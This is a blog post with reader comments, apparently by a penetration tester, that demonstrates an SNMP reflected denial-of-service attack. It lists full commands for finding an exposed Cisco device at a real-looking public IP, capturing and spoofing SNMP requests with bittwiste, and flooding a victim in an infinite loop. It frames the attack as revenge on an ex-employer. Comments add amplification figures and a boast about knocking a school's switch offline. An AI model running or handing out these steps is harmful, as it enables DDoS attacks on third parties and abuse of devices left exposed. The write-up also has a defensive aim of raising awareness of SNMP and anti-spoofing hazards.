SNMP Reflected Denial of Service
Recently i conducted a network penetration test on behalf of an academic institution. Apart from the security holes that i have discovered, i noticed the existence of many SNMP running services with their community strings publicly accessible. For monitor purposes network devices such as routers, switches, printers and voip devices have their read-only community strings enabled. Because of the read-only behavior of the public community many network and system administrators may assume that it is pointless to get into trouble securing them with ACLs or Firewall rules, making them accessible from any source IP. But is it really pointless?
What about 0-day bugs & exploits in the running snmp services? Yes i have to admit that it is a rare scenario, although not impossible specially for the network devices were we have infrequent or nonexistent OS updates.
But the real security hazard is the actual implementation of the SNMP protocol. In a common SNMP v1 and v2 transaction, the client sends a SNMP request with the relevant OID code and the SNMP server replies with the relevant data. SNMP is a connectionless UDP based protocol making it extremely vulnerable to IP spoofing. Somebody can capture a legitimate SNMP request, alter the source IP with an other and sends the request to the SNMP server on behalf of the edited IP. The response packet will be sent to the new IP address.
Let us assume the following scenario:
I want to conduct a DDoS attack targeting the main server of my ex company. I have scanned large subnets and found out open SNMP services (mostly routers, switches and network printers) knowing their public communities. Then I create a lot of SNMP request packets with victim’s server IP address as source and the list of the public SNMP services as destination addresses. The packet generator runs into loops to create large amounts of SNMP requests on behalf of the victim machine. All the SNMP responses with relevant payload are delivered to the victim server causing congestion and exhaustion to its resources.
The above scenario is the so called “SNMP Reflected Denial of Service“. Of course some ISPs, enterprise border routers and firewalls have mechanisms to prevent IP spoofing, although there exist techniques to bypass them that are beyond the scope of this article.
To present the convenience of the spoofed packet generation, I will present with every detail the whole procedure using the relevant tools.
First of all lets find out a publicly accessed SNMP service. When we talk about SNMP the first that comes to my mind is a Cisco device. The trivial method to discover an open service is to scan large subnets using relevant networking scanning tools. I will use a different approach using pastenum to search into text dump sites. Giving some Cisco configuration strings as input to pastenum, the first result have lead me to the 173.165.68.49 Cisco device.
Now that we have a public community lets create the test network as showed in the following image:
192.168.2.4 is the attacker’s machine.
192.168.2.5 is a test machine in which we will test our scenario before attacking the victim.
192.168.2.7 is the victim server.
Lets create now a simple snmp request using the snmpwalk tool, while in parallel we capture the traffic using the tcpdump tool.
root@192.168.2.4:~# snmpwalk -v 2c -c public 173.165.68.49 1.3.6.1 SNMPv2-MIB::sysDescr.0 = STRING: Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2007 by Cisco Systems, Inc. Compiled Fri 07-Sep-07 16:05 by prod_rel_team |
root@192.168.2.4:~# tcpdump -nnvvSX -s 0 -i wlan0 -w capture.pcap tcpdump: listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes 36 packets received by filter 0 packets dropped by kernel |
Using wireshark we can have a deeper look into the capture file and more specifically to the SNMP request.
Now that have studied the SNMP request packet form, lets isolate the first SNMP request (packet number 7) using the editcap tool.
root@192.168.2.4:~# editcap -r capture.pcap snmp_req.pcap 7
Add_Selected: 7
Not inclusive ... 7
root@192.168.2.4:~# tcpdump -nnvvSX -r snmp_req.pcap
reading from file snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
192.168.2.4.52717 > 173.165.68.49.161: [udp sum ok] { SNMPv2c { GetNextRequest(23) R=184115647 .1.3.6.1 } }
0x0000: 4500 0042 0000 4000 4011 8628 c0a8 0204 E..B..@.@..(....
0x0010: ada5 4431 cded 00a1 002e 0876 3024 0201 ..D1.......v0$..
0x0020: 0104 0670 7562 6c69 63a1 1702 040a f961 ...public......a
0x0030: bf02 0100 0201 0030 0930 0706 032b 0601 .......0.0...+..
0x0040: 0500 .. |
The next step is to change the packet’s source IP address using the bittwiste packet editor which is part of the bittwist project. I will alter the source IP address from 192.168.2.4 to 192.168.2.5 which is an other PC in the subnet that we have access. The bittwiste tool automatically recalculates the new checksum. If you want more details about the tool you can refer to the official documentation.
root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed_snmp_req.pcap -T ip -p 17 -s 192.168.2.5
input file: snmp_req.pcap
output file: spoofed_snmp_req.pcap
1 packets (80 bytes) written
root@192.168.2.4:~# tcpdump -nnvvSX -r spoofed_snmp_req.pcap
reading from file spoofed_snmp_req.pcap, link-type EN10MB (Ethernet)
21:26:47.371943 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 66)
192.168.2.5.52717 > 173.165.68.49.161: [udp sum ok] { SNMPv2c { GetNextRequest(23) R=184115647 .1.3.6.1 } }
0x0000: 4500 0042 0000 4000 4011 8627 c0a8 0205 E..B..@.@..'....
0x0010: ada5 4431 cded 00a1 002e 0875 3024 0201 ..D1.......u0$..
0x0020: 0104 0670 7562 6c69 63a1 1702 040a f961 ...public......a
0x0030: bf02 0100 0201 0030 0930 0706 032b 0601 .......0.0...+..
0x0040: 0500 |
Now we need to send the new request with the spoofed IP using a packet generator, i choose the bittwist tool. In order to confirm that the answer to the request reaches the spoofed source i will launch a tcpdump capture to the 192.168.2.5 machine.
Firstly i use -d option of bittwist to list the interfaces and then i use the wlan0 device to send the spoofed packet.
root@192.168.2.4:~# bittwist -d 1. eth0 2. wlan0 3. usbmon1 (USB bus number 1) 4. usbmon2 (USB bus number 2) 5. usbmon3 (USB bus number 3) 6. usbmon4 (USB bus number 4) 7. usbmon5 (USB bus number 5) 8. usbmon6 (USB bus number 6) 9. usbmon7 (USB bus number 7) 10. vmnet8 11. usbmon8 (USB bus number 8) 12. any (Pseudo-device that captures on all interfaces) 13. lo root@192.168.2.4:~# bittwist -i 2 spoofed_snmp_req.pcap sending packets through wlan0 trace file: spoofed_snmp_req.pcap 1 packets (80 bytes) sent Elapsed time = 0.000143 seconds |
root@192.168.2.5:~# tcpdump -nnvvSX -s 0 -i eth0 -w capture.pcap
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
19 packets received by filter
0 packets dropped by kernel
root@192.168.2.5:~#
root@192.168.2.5:~# tcpdump -nnvvSX -r capture.pcap | grep SNMP
reading from file capture.pcap, link-type EN10MB (Ethernet)
22:15:20.295633 IP (tos 0x38, ttl 238, id 56597, offset 0, flags [none], proto UDP (17), length 330) 173.165.68.49.161 > 192.168.2.5.52717: [udp sum ok] { SNMPv2c { GetResponse(283) R=184115647 .1.3.6.1.2.1.1.1.0="Cisco IOS Software, C2600 Software (C2600-ADVENTERPRISEK9-M), Version 12.4(17), RELEASE SOFTWARE (fc1)^M^JTechnical Support: http://www.cisco.com/techsupport^M^JCopyright (c) 1986-2007 by Cisco Systems, Inc.^M^JCompiled Fri 07-Sep-07 16:05 by prod_rel_team" } } |
Knowing that our scenario works it is time to launch the actual attack to the target machine. We use again the bittwiste editor to change the source to 192.168.2.7 which is the victim’s IP address.
root@192.168.2.4:~# bittwiste -I snmp_req.pcap -O spoofed2_snmp_req.pcap -T ip -p 17 -s 192.168.2.7 input file: snmp_req.pcap output file: spoofed2_snmp_req.pcap 1 packets (80 bytes) written |
In order to see the bandwidth impact results, i will not send only one packet like our previous attempt, instead i will use the infinite loop flag from the bittwist packet generator.
root@192.168.2.4:~# bittwist -i 2 spoofed2_snmp_req.pcap -l 0 trace file: spoofed2_snmp_req.pcap trace file: spoofed2_snmp_req.pcap ... 2061710 packets (164936800 bytes) sent Elapsed time = 140.923743 seconds |
I used the simple bandwidthd monitor tool to measure the bandwidth load. From the following graph it is pretty obvious that ~2M packets from only one source caused a measurable load to the victim machine. We reached a peak of ~40KB/sec while the normal UDP traffic is bellow 4KB/sec
Apart from the network load that i showed, an attacker can cause a service load too. This can be done by changing the SNMP request source port, using a victim’s open UDP port. This attack results in a great load to the running service that knees down the machine.
Conclusions:
It is now pretty obvious from the above facts that publicly accessible SNMP services can cause great loads to victim servers. Attackers can successfully launch DDoS attacks without needing to control large botnets. A few hosts that run the packet generation scripts are enough to conduct an efficient Reflected DDoS attack.
Till now i have never run this attack scenario in a large scale environment to include more details about the SNMP Reflected DDoS results. Although it is in my future plans to conduct a relative research.
PS: If someone have come across with a relative research, I would appreciate if he/she sent me an email with the sources.
DISCLAIMER: I’m not responsible with what you do with this info. This information is for educational purposes only.
A. Bechtsoudis
For reflection, the amplification y/x>1.0 matters, you sent x bytes, the target will receive y bytes, I don’t see anything about amplification here.
2061710 packets (164936800 bytes) sent
Elapsed time = 140.923743 seconds
avg pps = 2061710 / 141 = 14622
avg b(ytes)ps = 164936800 / 141= 1169764 ~ 1Mbyte/s
avg bps = 1169764 * 8 = 9358112
Of these 9358112 bit 36864(=36*1024) bit made it to the server, thats not even 1%.
Better use something different than wifi for ddos research.
If 40kbit/s udp to a closed service cause problems with your hardware in terms of load, well … proof it.
I’m confident you can hit a box with gbit/s snmp-reflection flood to a not running service port and nothing will happen other than saturating the link.
For services offered, lets say you can hit the dns server, slamming him with snmp response packets on udp/53, it will reach the service, but what would be the effect?
You’ve saturated the line already, does it matter?
While snmp is a problem, *this* is not a snmp problem, you could have the same effect with dns, but most companies don’t have as much dns services as snmp services running.
Primary mitigation is not closing down snmp, which is a good idea for many other reasons, primary mitigation is in making sure you can’t spoof packets on the network using the port security of your switches.
Hello Mentia,
appreciate your feedback and facts.
Regarding the reflection amplification ratio keep in mind that there exist responses with large string values. First came my mind is “sysORDescr” (there exist many others too), with request being 73 bytes and response ~320 bytes.
The temp network setup with requests sent over a poor wireless channel, was for the article’s purposes. The main research is conducted under my university’s network. Obviously, I cannot publish this info in such a blog post.
Of course 40K cannot kneel any UDP listening service, the measurements provided at the article was indicative of the impact factor of a single source with a pour bandwidth.
The effect on the UDP running services will be the overhead of the service’s primary packet decoder. Of course the impact depends on the service’s architecture, with impact ratio varying from service to service.
Writing this blog post my intension was to inform the infosec community about the SNMP hazards. I did not mention anywhere in the article that NOC admins should shutdown their SNMP services. Instead, like you said, I propose to revise their anti-spoofing and security network mechanisms.
My research is in its early stages and I’m now trying to upgrade my lab (with the poor university resources) to conduct some larger scale experiments, in order to conclude to the real impact factor and how this might affect SNMP infrastructures.
Anestis
Speaking with facts about the amplification ratio, here is a small POC perl script:
snmp_rdos.pl
tcpdump -v host 10.0.1.1 -c 2 -i eth0 | grep length & perl snmp_rdos.pl[5] 18795
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
2 packets captured
2 packets received by filter
0 packets dropped by kernel
22:26:32.615999 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 84)
22:26:32.617181 IP (tos 0x0, ttl 255, id 7855, offset 0, flags [none], proto UDP (17), length 1480)
A single 80 byte request binding only two SNMP objects can almost exceed IPv4 max size (1500 to avoid fragmentation issues that might cause IPS/Firewall alerts).
Amplification: 1480/84=17.62
using a t50 –icmp-type 8 you can put off line all services includin a Cisco 4500 i used it in my school but i have lost my pendrive with all stuffs i am working on new material coming soon